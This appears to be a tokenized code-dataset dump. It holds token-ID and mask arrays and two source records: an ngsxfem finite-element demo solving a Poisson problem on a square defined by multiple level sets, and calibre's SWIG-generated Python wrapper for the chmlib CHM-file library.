8, 11191, 9, 267, 4450, 14, 961, 3305, 4493, 314, 3439, 402, 314, 859, 18023, 27, 267, 445, 8, 3176, 5182, 9, 436, 445, 8, 3176, 4399, 9, 911, 506, 5525, 12, 436, 340, 314, 445, 8, 11191, 9, 267, 3181, 1133, 1336, 26523, 315, 314, 570, 12, 314, 570, 911, 506, 3602, 14874, 14, 267, 982, 314, 445, 8, 11191, 9, 1630, 1336, 12, 314, 2061, 4877, 1004, 911, 506, 8717, 701, 267, 314, 11507, 1004, 2725, 14, 523, 5518, 4399, 26, 272, 1415, 26, 3055, 272, 849, 26, 9027, 272, 1369, 26, 489, 446, 8051, 543, 445, 8, 929, 29, 1881, 680, 982, 2013, 12, 314, 1004, 911, 506, 11788, 267, 2410, 314, 2061, 1336, 402, 2013, 5578, 3965, 14, 437, 4539, 574, 365, 267, 2808, 27, 445, 8, 13178, 9, 367, 28498, 314, 1004, 737, 314, 1284, 402, 314, 570, 14, 4960, 982, 2013, 5578, 444, 657, 438, 965, 949, 4450, 12, 9027, 911, 506, 1202, 3140, 14, 267, 10162, 440, 506, 1202, 543, 445, 8, 894, 7655, 680, 272, 3415, 26, 359, 283, 13178, 297, 6438, 3821, 10223, 1622, 523, 5518, 5182, 26, 272, 1415, 26, 3055, 272, 1015, 63, 3270, 26, 298, 17, 14, 17, 2, 272, 1369, 26, 489, 446, 8051, 543, 445, 8, 929, 29, 1881, 680, 982, 2013, 12, 314, 1004, 911, 506, 11788, 267, 2544, 314, 2061, 1336, 402, 2013, 5578, 3965, 14, 437, 574, 365, 4960, 2808, 27, 445, 8, 34, 3359, 9, 367, 28498, 314, 1004, 737, 314, 9608, 402, 314, 570, 14, 267, 982, 2013, 5578, 444, 657, 438, 965, 949, 4450, 12, 314, 1004, 911, 506, 267, 11788, 737, 314, 1284, 402, 314, 570, 14, 221, 10162, 440, 506, 1202, 543, 445, 8, 894, 7655, 680, 272, 3415, 26, 359, 283, 34, 3359, 297, 6438, 3821, 10223, 1622, 523, 1218, 26, 272, 1415, 26, 3055, 272, 3415, 26, 359, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
ngsxfem/ngsxfem
demos/fictdom_mlset.py
1
4537
""" In this example we solve an unfitted Poisson problem similar to the one in `fictdom.py`, however this time with the unfitted geometry being the unit square. This example shall illustrate the functionality of ngsxfem to solve PDE problems on geometries described via multiple level set functions. PDE problem + Discretisation + Geometry + Implementation aspects: ----------------------------------------------------------------- * As in fictdom.py except for the different geometry and its handling. Used Features: -------------- * Quadrature with respect to multiple level set functions., see the 'mlset_pde' jupyter tutorial. * MultiLevelsetCutInfo, see the 'mlset_basic' jupyter tutorial. * DomainTypeArray convenience layer, see the 'mlset_basic' jupyter tutorial. * Restricted BilinearForm, jupyter tutorial `basics`. * Cut Differential Symbols, jupyter tutorials `intlset` and `cutfem`. """ # ------------------------------ LOAD LIBRARIES ------------------------------- from netgen.geom2d import SplineGeometry from ngsolve import * from xfem import * from xfem.mlset import * ngsglobals.msg_level = 2 # -------------------------------- PARAMETERS --------------------------------- # Domain corners ll, ur = (-0.2, -0.2), (1.2, 1.2) # Initial mesh diameter initial_maxh = 0.4 # Number of mesh bisections nref = 3 # Order of finite element space k = 1 # Stabilization parameter for ghost-penalty gamma_s = 0.5 # Stabilization parameter for Nitsche gamma_n = 10 # ----------------------------------- MAIN ------------------------------------ # Set up the level sets, exact solution and right-hand side def level_sets(): return [-y, x - 1, y - 1, -x] nr_ls = len(level_sets()) u_ex = 16 * x * (1 - x) * y * (1 - y) grad_u_ex = (u_ex.Diff(x).Compile(), u_ex.Diff(y).Compile()) rhs = -(u_ex.Diff(x).Diff(x) + u_ex.Diff(y).Diff(y)).Compile() # Geometry and mesh geo = SplineGeometry() geo.AddRectangle(ll, ur, bcs=("bottom", "right", "top", "left")) ngmesh = geo.GenerateMesh(maxh=initial_maxh) for i in range(nref): ngmesh.Refine() mesh = Mesh(ngmesh) # Level set and cut-information P1 = H1(mesh, order=1) lsetsp1 = tuple(GridFunction(P1) for i in range(nr_ls)) for i, lsetp1 in enumerate(lsetsp1): InterpolateToP1(level_sets()[i], lsetp1) Draw(lsetp1, mesh, "lsetp1_{}".format(i)) square = DomainTypeArray((NEG, NEG, NEG, NEG)) with TaskManager(): square.Compress(lsetsp1) boundary = square.Boundary() boundary.Compress(lsetsp1) mlci = MultiLevelsetCutInfo(mesh, lsetsp1) # Element and degrees-of-freedom markers els_if_singe = {dtt: BitArray(mesh.ne) for dtt in boundary} facets_gp = BitArray(mesh.nedge) hasneg = mlci.GetElementsWithContribution(square) # Finite element space Vhbase = H1(mesh, order=k, dgjumps=True) Vh = Restrict(Vhbase, hasneg) gfu = GridFunction(Vh) hasif = mlci.GetElementsWithContribution(boundary) Draw(BitArrayCF(hasif), mesh, "hasif") for i, (dtt, els_bnd) in enumerate(els_if_singe.items()): els_bnd[:] = mlci.GetElementsWithContribution(dtt) Draw(BitArrayCF(els_bnd), mesh, "els_if_singe" + str(i)) facets_gp = GetFacetsWithNeighborTypes(mesh, a=hasneg, b=hasif, use_and=True) els_gp = GetElementsWithNeighborFacets(mesh, facets_gp) Draw(BitArrayCF(els_gp), mesh, "gp_elements") # Bilinear and linear forms of the weak formulation u, v = Vh.TnT() h = specialcf.mesh_size normals = square.GetOuterNormals(lsetsp1) # Set up the integrator symbols dx = dCut(lsetsp1, square, definedonelements=hasneg) ds = {dtt: dCut(lsetsp1, dtt, definedonelements=els_if_singe[dtt]) for dtt in boundary} dw = dFacetPatch(definedonelements=facets_gp) # Construct integrator a = RestrictedBilinearForm(Vh, facet_restriction=facets_gp, check_unused=False) a += InnerProduct(grad(u), grad(v)) * dx for bnd, n in normals.items(): a += -InnerProduct(grad(u) * n, v) * ds[bnd] a += -InnerProduct(grad(v) * n, u) * ds[bnd] a += (gamma_n * k * k / h) * InnerProduct(u, v) * ds[bnd] a += gamma_s / (h**2) * (u - u.Other()) * (v - v.Other()) * dw f = LinearForm(Vh) f += rhs * v * dx # Assemble and solve the linear system f.Assemble() a.Assemble() gfu.vec.data = a.mat.Inverse(Vh.FreeDofs()) * f.vec Draw(gfu, mesh, "uh") # Post-processing err_l2 = sqrt(Integrate((gfu - u_ex)**2 * dx.order(2 * k), mesh)) err_h1 = sqrt(Integrate((Grad(gfu) - grad_u_ex)**2 * dx.order(2 * (k - 1)), mesh)) print("L2 error = {:1.5e}".format(err_l2), "H1 error = {:1.5e}".format(err_h1))
lgpl-3.0
[ 624, 199, 607, 642, 2893, 781, 14241, 376, 625, 21903, 4376, 18571, 5160, 8545, 370, 314, 1373, 315, 199, 64, 329, 319, 4556, 14, 647, 3559, 13432, 642, 900, 543, 314, 625, 21903, 3400, 3769, 314, 199, 3248, 12386, 14, 961, 2893, 10989, 22907, 11409, 323, 314, 9330, 402, 302, 458, 8371, 77, 370, 199, 11356, 510, 1093, 8826, 641, 24883, 11736, 4799, 3663, 2166, 663, 3423, 14, 199, 199, 48, 1093, 5160, 435, 5289, 1353, 16753, 425, 435, 10579, 435, 24425, 17435, 83, 26, 199, 3606, 13, 199, 10, 3709, 315, 5883, 319, 4556, 14, 647, 871, 367, 314, 3365, 3400, 436, 2399, 7252, 14, 199, 199, 9167, 7949, 2093, 26, 199, 10965, 199, 10, 5843, 350, 30985, 543, 14021, 370, 3663, 2166, 663, 3423, 2020, 1937, 314, 523, 283, 757, 409, 63, 80, 271, 7, 1335, 28022, 351, 307, 15888, 14, 199, 199, 10, 6879, 4670, 409, 23498, 2354, 12, 1937, 314, 283, 757, 409, 63, 4316, 7, 1335, 28022, 351, 307, 15888, 14, 199, 199, 10, 14061, 804, 3836, 16777, 4045, 12, 1937, 314, 283, 757, 409, 63, 4316, 7, 1335, 28022, 351, 523, 307, 15888, 14, 199, 199, 10, 32491, 1522, 699, 382, 1132, 285, 2821, 12, 1335, 28022, 351, 307, 15888, 658, 4316, 83, 2313, 199, 199, 10, 445, 337, 18029, 27257, 5515, 4356, 12, 1335, 28022, 351, 307, 15888, 83, 658, 442, 76, 409, 64, 436, 658, 5919, 771, 77, 2313, 199, 624, 199, 199, 3, 10652, 10965, 3412, 1554, 25764, 50, 25244, 10652, 18964, 199, 504, 1851, 2268, 14, 6481, 18, 68, 492, 8360, 604, 6831, 199, 504, 302, 458, 3344, 492, 627, 199, 504, 671, 771, 77, 492, 627, 199, 504, 671, 771, 77, 14, 757, 409, 492, 627, 199, 199, 78, 458, 8473, 14, 1328, 63, 1896, 275, 499, 199, 199, 3, 11016, 23710, 11016, 13, 199, 3, 14061, 31657, 199, 914, 12, 7629, 275, 5868, 16, 14, 18, 12, 446, 16, 14, 18, 395, 334, 17, 14, 18, 12, 413, 14, 18, 9, 199, 3, 6026, 9364, 487, 1787, 199, 2747, 63, 988, 72, 275, 378, 14, 20, 199, 3, 4860, 402, 9364, 330, 572, 2452, 199, 78, 1121, 275, 650, 199, 3, 9240, 402, 21837, 1819, 4601, 199, 75, 275, 413, 199, 199, 3, 1933, 25007, 13362, 2725, 367, 486, 1102, 13, 26264, 199, 7325, 63, 83, 275, 378, 14, 21, 199, 3, 1933, 25007, 13362, 2725, 367, 653, 1405, 595, 199, 7325, 63, 78, 275, 1616, 199, 199, 3, 11016, 2595, 4828, 568, 11016, 375, 199, 3, 2494, 1536, 314, 2166, 5951, 12, 5835, 8744, 436, 2451, 13, 6868, 5366, 421, 199, 318, 2166, 63, 2193, 837, 272, 372, 5243, 89, 12, 671, 446, 413, 12, 612, 446, 413, 12, 446, 88, 61, 421, 199, 7865, 63, 478, 275, 822, 8, 1896, 63, 2193, 1012, 199, 85, 63, 476, 275, 3193, 627, 671, 627, 334, 17, 446, 671, 9, 627, 612, 627, 334, 17, 446, 612, 9, 199, 6017, 63, 85, 63, 476, 275, 334, 85, 63, 476, 14, 10746, 8, 88, 680, 12626, 1062, 399, 63, 476, 14, 10746, 8, 89, 680, 12626, 1012, 199, 12071, 275, 24953, 85, 63, 476, 14, 10746, 8, 88, 680, 10746, 8, 88, 9, 435, 399, 63, 476, 14, 10746, 8, 89, 680, 10746, 8, 89, 4992, 12626, 342, 199, 199, 3, 10579, 436, 9364, 199, 6721, 275, 8360, 604, 6831, 342, 199, 6721, 14, 1123, 18127, 8, 914, 12, 7629, 12, 330, 1259, 15387, 8305, 401, 298, 1019, 401, 298, 2119, 401, 298, 3039, 2237, 199, 2753, 6480, 275, 8509, 14, 6864, 12241, 8, 988, 72, 29, 2747, 63, 988, 72, 9, 199, 509, 284, 315, 1425, 8, 78, 1121, 304, 272, 28810, 6480, 14, 2891, 1132, 342, 199, 6480, 275, 603, 10613, 8, 2753, 6480, 9, 421, 199, 3, 20400, 663, 436, 10415, 13, 11697, 199, 48, 17, 275, 869, 17, 8, 6480, 12, 1865, 29, 17, 9, 199, 76, 409, 681, 17, 275, 2008, 8, 7900, 3481, 8, 48, 17, 9, 367, 284, 315, 1425, 8, 7865, 63, 478, 430, 199, 509, 284, 12, 634, 409, 80, 17, 315, 3874, 8, 76, 409, 681, 17, 304, 272, 6551, 14641, 1378, 48, 17, 8, 1896, 63, 2193, 3430, 73, 467, 634, 409, 80, 17, 9, 272, 17813, 8, 76, 409, 80, 17, 12, 9364, 12, 298, 76, 409, 80, 17, 63, 13536, 908, 8, 73, 430, 199, 199, 9646, 275, 14061, 804, 3836, 1332, 31254, 12, 653, 4680, 12, 653, 4680, 12, 653, 4680, 430, 199, 1045, 8495, 2988, 837, 272, 12386, 14, 2404, 753, 8, 76, 409, 681, 17, 9, 272, 8424, 275, 12386, 14, 19831, 342, 272, 8424, 14, 2404, 753, 8, 76, 409, 681, 17, 9, 199, 199, 757, 559, 275, 6879, 4670, 409, 23498, 2354, 8, 6480, 12, 634, 409, 681, 17, 9, 421, 199, 3, 6566, 436, 14358, 13, 1618, 13, 70, 3798, 676, 14327, 199, 18099, 63, 692, 63, 5911, 303, 275, 469, 3583, 84, 26, 10199, 3836, 8, 6480, 14, 685, 9, 367, 4487, 84, 315, 8424, 93, 199, 1409, 1086, 63, 4927, 275, 10199, 3836, 8, 6480, 14, 78, 5173, 9, 199, 199, 1989, 8705, 275, 19184, 559, 14, 1002, 6255, 3007, 714, 15980, 8, 9646, 9, 199, 199, 3, 11711, 1175, 1819, 4601, 199, 54, 72, 1095, 275, 869, 17, 8, 6480, 12, 1865, 29, 75, 12, 366, 71, 11126, 83, 29, 549, 9, 199, 54, 72, 275, 799, 4768, 8, 54, 72, 1095, 12, 965, 8705, 9, 199, 7102, 85, 275, 16386, 3481, 8, 54, 72, 9, 199, 199, 1989, 692, 275, 19184, 559, 14, 1002, 6255, 3007, 714, 15980, 8, 9891, 9, 199, 9654, 8, 4734, 3836, 5487, 8, 1989, 692, 395, 9364, 12, 298, 1989, 692, 531, 199, 199, 509, 284, 12, 334, 3583, 84, 12, 325, 478, 63, 66, 977, 9, 315, 3874, 8, 18099, 63, 692, 63, 5911, 303, 14, 1744, 5109, 272, 325, 478, 63, 66, 977, 5873, 275, 19184, 559, 14, 1002, 6255, 3007, 714, 15980, 8, 3583, 84, 9, 272, 17813, 8, 4734, 3836, 5487, 8, 18099, 63, 66, 977, 395, 9364, 12, 298, 18099, 63, 692, 63, 5911, 303, 2, 435, 620, 8, 73, 430 ]
[ 199, 607, 642, 2893, 781, 14241, 376, 625, 21903, 4376, 18571, 5160, 8545, 370, 314, 1373, 315, 199, 64, 329, 319, 4556, 14, 647, 3559, 13432, 642, 900, 543, 314, 625, 21903, 3400, 3769, 314, 199, 3248, 12386, 14, 961, 2893, 10989, 22907, 11409, 323, 314, 9330, 402, 302, 458, 8371, 77, 370, 199, 11356, 510, 1093, 8826, 641, 24883, 11736, 4799, 3663, 2166, 663, 3423, 14, 199, 199, 48, 1093, 5160, 435, 5289, 1353, 16753, 425, 435, 10579, 435, 24425, 17435, 83, 26, 199, 3606, 13, 199, 10, 3709, 315, 5883, 319, 4556, 14, 647, 871, 367, 314, 3365, 3400, 436, 2399, 7252, 14, 199, 199, 9167, 7949, 2093, 26, 199, 10965, 199, 10, 5843, 350, 30985, 543, 14021, 370, 3663, 2166, 663, 3423, 2020, 1937, 314, 523, 283, 757, 409, 63, 80, 271, 7, 1335, 28022, 351, 307, 15888, 14, 199, 199, 10, 6879, 4670, 409, 23498, 2354, 12, 1937, 314, 283, 757, 409, 63, 4316, 7, 1335, 28022, 351, 307, 15888, 14, 199, 199, 10, 14061, 804, 3836, 16777, 4045, 12, 1937, 314, 283, 757, 409, 63, 4316, 7, 1335, 28022, 351, 523, 307, 15888, 14, 199, 199, 10, 32491, 1522, 699, 382, 1132, 285, 2821, 12, 1335, 28022, 351, 307, 15888, 658, 4316, 83, 2313, 199, 199, 10, 445, 337, 18029, 27257, 5515, 4356, 12, 1335, 28022, 351, 307, 15888, 83, 658, 442, 76, 409, 64, 436, 658, 5919, 771, 77, 2313, 199, 624, 199, 199, 3, 10652, 10965, 3412, 1554, 25764, 50, 25244, 10652, 18964, 199, 504, 1851, 2268, 14, 6481, 18, 68, 492, 8360, 604, 6831, 199, 504, 302, 458, 3344, 492, 627, 199, 504, 671, 771, 77, 492, 627, 199, 504, 671, 771, 77, 14, 757, 409, 492, 627, 199, 199, 78, 458, 8473, 14, 1328, 63, 1896, 275, 499, 199, 199, 3, 11016, 23710, 11016, 13, 199, 3, 14061, 31657, 199, 914, 12, 7629, 275, 5868, 16, 14, 18, 12, 446, 16, 14, 18, 395, 334, 17, 14, 18, 12, 413, 14, 18, 9, 199, 3, 6026, 9364, 487, 1787, 199, 2747, 63, 988, 72, 275, 378, 14, 20, 199, 3, 4860, 402, 9364, 330, 572, 2452, 199, 78, 1121, 275, 650, 199, 3, 9240, 402, 21837, 1819, 4601, 199, 75, 275, 413, 199, 199, 3, 1933, 25007, 13362, 2725, 367, 486, 1102, 13, 26264, 199, 7325, 63, 83, 275, 378, 14, 21, 199, 3, 1933, 25007, 13362, 2725, 367, 653, 1405, 595, 199, 7325, 63, 78, 275, 1616, 199, 199, 3, 11016, 2595, 4828, 568, 11016, 375, 199, 3, 2494, 1536, 314, 2166, 5951, 12, 5835, 8744, 436, 2451, 13, 6868, 5366, 421, 199, 318, 2166, 63, 2193, 837, 272, 372, 5243, 89, 12, 671, 446, 413, 12, 612, 446, 413, 12, 446, 88, 61, 421, 199, 7865, 63, 478, 275, 822, 8, 1896, 63, 2193, 1012, 199, 85, 63, 476, 275, 3193, 627, 671, 627, 334, 17, 446, 671, 9, 627, 612, 627, 334, 17, 446, 612, 9, 199, 6017, 63, 85, 63, 476, 275, 334, 85, 63, 476, 14, 10746, 8, 88, 680, 12626, 1062, 399, 63, 476, 14, 10746, 8, 89, 680, 12626, 1012, 199, 12071, 275, 24953, 85, 63, 476, 14, 10746, 8, 88, 680, 10746, 8, 88, 9, 435, 399, 63, 476, 14, 10746, 8, 89, 680, 10746, 8, 89, 4992, 12626, 342, 199, 199, 3, 10579, 436, 9364, 199, 6721, 275, 8360, 604, 6831, 342, 199, 6721, 14, 1123, 18127, 8, 914, 12, 7629, 12, 330, 1259, 15387, 8305, 401, 298, 1019, 401, 298, 2119, 401, 298, 3039, 2237, 199, 2753, 6480, 275, 8509, 14, 6864, 12241, 8, 988, 72, 29, 2747, 63, 988, 72, 9, 199, 509, 284, 315, 1425, 8, 78, 1121, 304, 272, 28810, 6480, 14, 2891, 1132, 342, 199, 6480, 275, 603, 10613, 8, 2753, 6480, 9, 421, 199, 3, 20400, 663, 436, 10415, 13, 11697, 199, 48, 17, 275, 869, 17, 8, 6480, 12, 1865, 29, 17, 9, 199, 76, 409, 681, 17, 275, 2008, 8, 7900, 3481, 8, 48, 17, 9, 367, 284, 315, 1425, 8, 7865, 63, 478, 430, 199, 509, 284, 12, 634, 409, 80, 17, 315, 3874, 8, 76, 409, 681, 17, 304, 272, 6551, 14641, 1378, 48, 17, 8, 1896, 63, 2193, 3430, 73, 467, 634, 409, 80, 17, 9, 272, 17813, 8, 76, 409, 80, 17, 12, 9364, 12, 298, 76, 409, 80, 17, 63, 13536, 908, 8, 73, 430, 199, 199, 9646, 275, 14061, 804, 3836, 1332, 31254, 12, 653, 4680, 12, 653, 4680, 12, 653, 4680, 430, 199, 1045, 8495, 2988, 837, 272, 12386, 14, 2404, 753, 8, 76, 409, 681, 17, 9, 272, 8424, 275, 12386, 14, 19831, 342, 272, 8424, 14, 2404, 753, 8, 76, 409, 681, 17, 9, 199, 199, 757, 559, 275, 6879, 4670, 409, 23498, 2354, 8, 6480, 12, 634, 409, 681, 17, 9, 421, 199, 3, 6566, 436, 14358, 13, 1618, 13, 70, 3798, 676, 14327, 199, 18099, 63, 692, 63, 5911, 303, 275, 469, 3583, 84, 26, 10199, 3836, 8, 6480, 14, 685, 9, 367, 4487, 84, 315, 8424, 93, 199, 1409, 1086, 63, 4927, 275, 10199, 3836, 8, 6480, 14, 78, 5173, 9, 199, 199, 1989, 8705, 275, 19184, 559, 14, 1002, 6255, 3007, 714, 15980, 8, 9646, 9, 199, 199, 3, 11711, 1175, 1819, 4601, 199, 54, 72, 1095, 275, 869, 17, 8, 6480, 12, 1865, 29, 75, 12, 366, 71, 11126, 83, 29, 549, 9, 199, 54, 72, 275, 799, 4768, 8, 54, 72, 1095, 12, 965, 8705, 9, 199, 7102, 85, 275, 16386, 3481, 8, 54, 72, 9, 199, 199, 1989, 692, 275, 19184, 559, 14, 1002, 6255, 3007, 714, 15980, 8, 9891, 9, 199, 9654, 8, 4734, 3836, 5487, 8, 1989, 692, 395, 9364, 12, 298, 1989, 692, 531, 199, 199, 509, 284, 12, 334, 3583, 84, 12, 325, 478, 63, 66, 977, 9, 315, 3874, 8, 18099, 63, 692, 63, 5911, 303, 14, 1744, 5109, 272, 325, 478, 63, 66, 977, 5873, 275, 19184, 559, 14, 1002, 6255, 3007, 714, 15980, 8, 3583, 84, 9, 272, 17813, 8, 4734, 3836, 5487, 8, 18099, 63, 66, 977, 395, 9364, 12, 298, 18099, 63, 692, 63, 5911, 303, 2, 435, 620, 8, 73, 430, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
timpalpant/calibre
src/calibre/utils/chm/chmlib.py
24
3975
# This file was created automatically by SWIG. # Don't modify this file, modify the SWIG interface instead. # This file is compatible with both classic and new-style classes. from calibre.constants import plugins _chmlib, chmlib_err = plugins['chmlib'] if chmlib_err: raise RuntimeError('Failed to load chmlib: '+chmlib_err) def _swig_setattr(self,class_type,name,value): if (name == "this"): if isinstance(value, class_type): self.__dict__[name] = value.this if hasattr(value,"thisown"): self.__dict__["thisown"] = value.thisown del value.thisown return method = class_type.__swig_setmethods__.get(name,None) if method: return method(self,value) self.__dict__[name] = value def _swig_getattr(self,class_type,name): method = class_type.__swig_getmethods__.get(name,None) if method: return method(self) raise AttributeError,name import types try: _object = types.ObjectType _newclass = 1 except AttributeError: class _object : pass _newclass = 0 CHM_UNCOMPRESSED = _chmlib.CHM_UNCOMPRESSED CHM_COMPRESSED = _chmlib.CHM_COMPRESSED CHM_MAX_PATHLEN = _chmlib.CHM_MAX_PATHLEN class chmUnitInfo(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, chmUnitInfo, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, chmUnitInfo, name) __swig_setmethods__["start"] = _chmlib.chmUnitInfo_start_set __swig_getmethods__["start"] = _chmlib.chmUnitInfo_start_get if _newclass:start = property(_chmlib.chmUnitInfo_start_get,_chmlib.chmUnitInfo_start_set) __swig_setmethods__["length"] = _chmlib.chmUnitInfo_length_set __swig_getmethods__["length"] = _chmlib.chmUnitInfo_length_get if _newclass:length = property(_chmlib.chmUnitInfo_length_get,_chmlib.chmUnitInfo_length_set) __swig_setmethods__["space"] = _chmlib.chmUnitInfo_space_set __swig_getmethods__["space"] = _chmlib.chmUnitInfo_space_get if _newclass:space = property(_chmlib.chmUnitInfo_space_get,_chmlib.chmUnitInfo_space_set) __swig_setmethods__["path"] = _chmlib.chmUnitInfo_path_set __swig_getmethods__["path"] = _chmlib.chmUnitInfo_path_get if _newclass:path = property(_chmlib.chmUnitInfo_path_get,_chmlib.chmUnitInfo_path_set) def __init__(self,*args): _swig_setattr(self, chmUnitInfo, 'this', apply(_chmlib.new_chmUnitInfo,args)) _swig_setattr(self, chmUnitInfo, 'thisown', 1) def __del__(self, destroy= _chmlib.delete_chmUnitInfo): try: if self.thisown: destroy(self) except: pass def __repr__(self): return "<C chmUnitInfo instance at %s>" % (self.this,) class chmUnitInfoPtr(chmUnitInfo): def __init__(self,this): _swig_setattr(self, chmUnitInfo, 'this', this) if not hasattr(self,"thisown"): _swig_setattr(self, chmUnitInfo, 'thisown', 0) _swig_setattr(self, chmUnitInfo,self.__class__,chmUnitInfo) _chmlib.chmUnitInfo_swigregister(chmUnitInfoPtr) chm_open = _chmlib.chm_open chm_close = _chmlib.chm_close CHM_PARAM_MAX_BLOCKS_CACHED = _chmlib.CHM_PARAM_MAX_BLOCKS_CACHED chm_set_param = _chmlib.chm_set_param CHM_RESOLVE_SUCCESS = _chmlib.CHM_RESOLVE_SUCCESS CHM_RESOLVE_FAILURE = _chmlib.CHM_RESOLVE_FAILURE chm_resolve_object = _chmlib.chm_resolve_object chm_retrieve_object = _chmlib.chm_retrieve_object CHM_ENUMERATE_NORMAL = _chmlib.CHM_ENUMERATE_NORMAL CHM_ENUMERATE_META = _chmlib.CHM_ENUMERATE_META CHM_ENUMERATE_SPECIAL = _chmlib.CHM_ENUMERATE_SPECIAL CHM_ENUMERATE_FILES = _chmlib.CHM_ENUMERATE_FILES CHM_ENUMERATE_DIRS = _chmlib.CHM_ENUMERATE_DIRS CHM_ENUMERATE_ALL = _chmlib.CHM_ENUMERATE_ALL CHM_ENUMERATOR_FAILURE = _chmlib.CHM_ENUMERATOR_FAILURE CHM_ENUMERATOR_CONTINUE = _chmlib.CHM_ENUMERATOR_CONTINUE CHM_ENUMERATOR_SUCCESS = _chmlib.CHM_ENUMERATOR_SUCCESS chm_enumerate = _chmlib.chm_enumerate chm_enumerate_dir = _chmlib.chm_enumerate_dir
gpl-3.0
[ 3, 961, 570, 1990, 2737, 5847, 701, 26480, 14, 199, 3, 7529, 1133, 2811, 642, 570, 12, 2811, 314, 26480, 3217, 3140, 14, 199, 3, 961, 570, 365, 9025, 543, 3865, 31205, 436, 892, 13, 2487, 3992, 14, 199, 199, 504, 19238, 14, 5559, 492, 8963, 199, 199, 63, 335, 77, 773, 12, 682, 77, 773, 63, 1508, 275, 8963, 459, 335, 77, 773, 418, 199, 199, 692, 682, 77, 773, 63, 1508, 26, 272, 746, 6064, 360, 4276, 370, 2248, 682, 77, 773, 26, 6681, 335, 77, 773, 63, 1508, 9, 199, 199, 318, 485, 9676, 63, 10202, 8, 277, 12, 533, 63, 466, 12, 354, 12, 585, 304, 272, 340, 334, 354, 508, 298, 3749, 2349, 267, 340, 1228, 8, 585, 12, 1021, 63, 466, 304, 288, 291, 855, 807, 12298, 354, 61, 275, 574, 14, 3749, 288, 340, 2688, 8, 585, 4589, 3749, 944, 2349, 291, 855, 807, 363, 905, 3749, 944, 937, 275, 574, 14, 3749, 944, 288, 2150, 574, 14, 3749, 944, 288, 372, 272, 1083, 275, 1021, 63, 466, 855, 9676, 63, 409, 2474, 4343, 362, 8, 354, 12, 403, 9, 272, 340, 1083, 26, 372, 1083, 8, 277, 12, 585, 9, 272, 291, 855, 807, 12298, 354, 61, 275, 574, 199, 199, 318, 485, 9676, 63, 5675, 8, 277, 12, 533, 63, 466, 12, 354, 304, 272, 1083, 275, 1021, 63, 466, 855, 9676, 63, 362, 2474, 4343, 362, 8, 354, 12, 403, 9, 272, 340, 1083, 26, 372, 1083, 8, 277, 9, 272, 746, 4281, 12, 354, 199, 199, 646, 2943, 